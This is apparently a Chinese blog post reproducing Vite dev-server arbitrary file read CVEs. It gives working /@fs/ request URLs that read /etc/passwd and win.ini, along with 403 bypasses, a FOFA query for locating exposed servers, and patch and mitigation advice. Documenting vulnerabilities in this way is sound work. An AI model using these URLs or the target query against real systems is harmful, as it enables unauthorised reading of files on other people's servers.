Vite任意文件读取漏洞复现,简单的令人发指,只需浏览器一行代码
Vite 是一个现代化的前端构建工具,由 Vue.js 的作者尤雨溪开发,支持 Vue、React、Svelte、Lit 等框架。但这个 Vite在2025年连续出了4个CVE编号的漏洞,分别是CVE-2025-30208、CVE-2025-31125、CVE-2025-31486、CVE-2025-32395。这个漏洞利用方式非常简单,傻瓜化,小白也能感觉到黑客的快乐了。
这4个CVE的漏洞利用方法都是高度类似,我以最新的CVE-2025-32395为例,本地复现一下。这个Vite6.2.6以前都有漏洞,所以我们本地装一下,前提你电脑里要装好nodejs。
npm install vite@6.2.5
npm pkg set scripts.dev="vite"
npm run dev
最后就会让你打开浏览器,http://localhost:5173/。
如何利用呢?直接执行:http://localhost:5173/@fs/etc/passwd就可以。如果出现了403的话,也不要慌张。
直接更改为http://localhost:5173/@fs/etc/passwd?raw??,或是http://localhost:5173/@fs/etc/passwd?import&raw??就可以了。下图是获得了/etc/passwd的文件内容,当然根据系统不同,也可以获取相应文件内容。
至于以前的三个漏洞编号利用方式是什么样的呢?官方给出以下poc:
- CVE-2025-30208:http://localhost:5173/iife/@fs/C:/windows/win.ini?import&raw??
- CVE-2025-31125:http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
- CVE-2025-31486:http://localhost:5173/iife/C:/windows/win.ini?import&?.svg?.wasm?init
奇安信鹰图资产测绘平台数据显示,Vite 任意文件读取漏洞(CVE-2025-32395)关联的国内风险资产总数为47506个,关联IP总数为10961个,使用人数还是很多的。
fofa的语句:header="vite" || body="/@vite/client" || body="__vite_ping"
&& (port="3000" || port="5173" || port="8080" || port="4173")
目前官方已有可更新版本,建议受影响用户升级至最新版本,官方补丁下载地址:
https://github.com/vitejs/vite/releases
修复缓解措施:
通过限制开发服务器的访问权限,如关闭 server.host 或将其绑定到特定的 IP 地址,以减少攻击面。